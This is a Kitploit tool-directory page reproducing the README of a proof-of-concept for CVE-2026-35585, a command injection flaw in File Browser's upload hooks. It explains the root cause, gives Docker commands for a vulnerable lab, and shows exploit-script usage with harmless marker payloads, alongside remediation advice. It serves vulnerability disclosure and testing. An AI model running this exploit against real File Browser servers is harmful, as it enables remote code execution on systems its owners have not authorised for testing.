Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-35585-poc — Proof-of-concept exploit for CVE-2026-35585, an OS command injection vulnerability in File Browser (versions 2.0.0 to 2.33.1). Includes Python and browser-based PoC scripts for remote code execution via malicious file uploads. | Kitploit
Tools/GitHubGitHub/saku0512/cve-2026-35585-poc
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & EducationRed Teaming
GitHubsaku0512/cve-2026-35585-poc

CVE-2026-35585-poc

Proof-of-concept exploit for CVE-2026-35585, an OS command injection vulnerability in File Browser (versions 2.0.0 to 2.33.1). Includes Python and browser-based PoC scripts for remote code execution via malicious file uploads.

View Repository
12 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2026-35585: File Browser OS Command Injection PoC

Description

This repository contains a Proof of Concept (PoC) for CVE-2026-35585, a critical OS Command Injection vulnerability discovered in File Browser (versions 2.0.0 through 2.33.1).

The vulnerability exists in the "Custom Command Hooks" feature. Due to insufficient sanitization of environment variables (such as $FILE or $USERNAME) during shell execution, an authenticated user with file upload privileges can execute arbitrary commands on the host system by crafting a malicious filename.

Discovered by: saku0512 (https://github.com/Saku0512)


⚠️ Disclaimer

This project is for educational and ethical security testing purposes only.

The author is not responsible for any misuse, damage, or illegal activities caused by this tool. Unauthorized access to computer systems is illegal. By using this software, you agree to use it only in environments where you have explicit permission to conduct security testing.


Vulnerability Details

  • CVE ID: CVE-2026-35585
  • Type: OS Command Injection (CWE-78)
  • Impact: Remote Code Execution (RCE)
  • Affected Versions: v2.0.0 <= File Browser <= v2.33.1
  • Fixed Version: v2.33.8
  • Root Cause

    File Browser allows administrators to set up hooks (e.g., "After Upload"). When these hooks are triggered, the application executes a shell command and replaces variables like $FILE with the actual filename. If a filename contains shell metacharacters (e.g., ;, &, |), they are executed by the system shell without proper escaping.


    Proof of Concept (Usage)

    This section describes how to reproduce the Remote Code Execution (RCE) using the provided environment and exploit script.

    1. Environment Setup and Initial Configuration

    Deploy the vulnerable environment (File Browser v2.33.1) using Docker Compose. On the first run, data/filebrowser.db does not exist yet, so initialize the File Browser database before configuring the hook:

    root@kitploit:~
    # Ensure the data directory has the correct permissions
    mkdir -p data && sudo chown -R 1000:1000 data
    
    # Initialize the database
    docker run --rm -v "$(pwd)/data:/database" filebrowser/filebrowser:v2.33.1 /bin/filebrowser config init --database /database/filebrowser.db
    
    # Add the admin / admin user
    docker run --rm -v "$(pwd)/data:/database" filebrowser/filebrowser:v2.33.1 /bin/filebrowser users add admin admin --perm.admin --database /database/filebrowser.db
    
    # Set shell to "sh -c"
    docker run --rm -v "$(pwd)/data:/database" filebrowser/filebrowser:v2.33.1 /bin/filebrowser config set --shell "sh -c" --database /database/filebrowser.db
    
    # Add an After Upload command
    docker run --rm -v "$(pwd)/data:/database" filebrowser/filebrowser:v2.33.1 /bin/filebrowser cmds add after_upload 'echo Uploaded: $FILE' --database /database/filebrowser.db
    
    # Start the container
    docker compose up -d
    

    If data/filebrowser.db already exists, skip config init. If the admin user already exists, reset its password instead of running users add:

    root@kitploit:~
    docker run --rm -v "$(pwd)/data:/database" filebrowser/filebrowser:v2.33.1 /bin/filebrowser users update admin --password admin --database /database/filebrowser.db
    

    If you change hook settings after the container is already running, stop it with docker compose stop first to avoid SQLite locking, then run the configuration commands and finish with docker compose start.

    2. Execution of Exploit

    Run the exploit.py script to automate the login and malicious file upload. The following command attempts to create a file named pwned_rce_test in the /tmp directory of the container.

    root@kitploit:~
    # Install dependencies
    pip install requests
    
    # Run the exploit
    python3 exploit.py -t http://localhost:8080 -u admin -p admin -c "touch /tmp/pwned_rce_test"
    

    3. Verification

    Verify that the command was executed successfully by checking for the existence of the file inside the container:

    root@kitploit:~
    docker exec -it cve-2026-35585-vuln-app ls -l /tmp/pwned_rce_test
    

    If the file exists, the RCE is confirmed.


    Browser-Guided PoC

    The existing exploit.py flow is kept intact. If you want a more hands-on browser workflow, use the included browser-guided PoC navigator.

    1. Start File Browser and configure the hook

    Run the "1. Environment Setup and Initial Configuration" step above so File Browser is reachable at http://localhost:8080.

    2. Start the browser PoC navigator

    root@kitploit:~
    python3 browser_poc.py
    

    Open the navigator in your browser:

    root@kitploit:~
    http://127.0.0.1:8090/
    

    3. Follow the navigation

    1. Target: Check that http://localhost:8080 is reachable.
    2. Login: Log in with admin / admin and obtain a File Browser API token.
    3. Payload: Generate a malicious filename payload. The default command is id > /srv/pwned_browser_rce.txt.
    4. Trigger: Upload the malicious filename to trigger the After Upload hook.
    5. Verify: Read /srv/pwned_browser_rce.txt through the File Browser API and confirm the result in the page.

    Because /srv is mounted to this repository by docker-compose.yml, a successful run also creates pwned_browser_rce.txt on the host.


    Remediation

    Update File Browser to version 2.33.8 or later. In the patched version, the hook functionality is disabled by default, and variable expansion is handled more securely.


    References

    • CVE-2026-35585 (cve.org)
    • Official GitHub Advisory
    Download Tool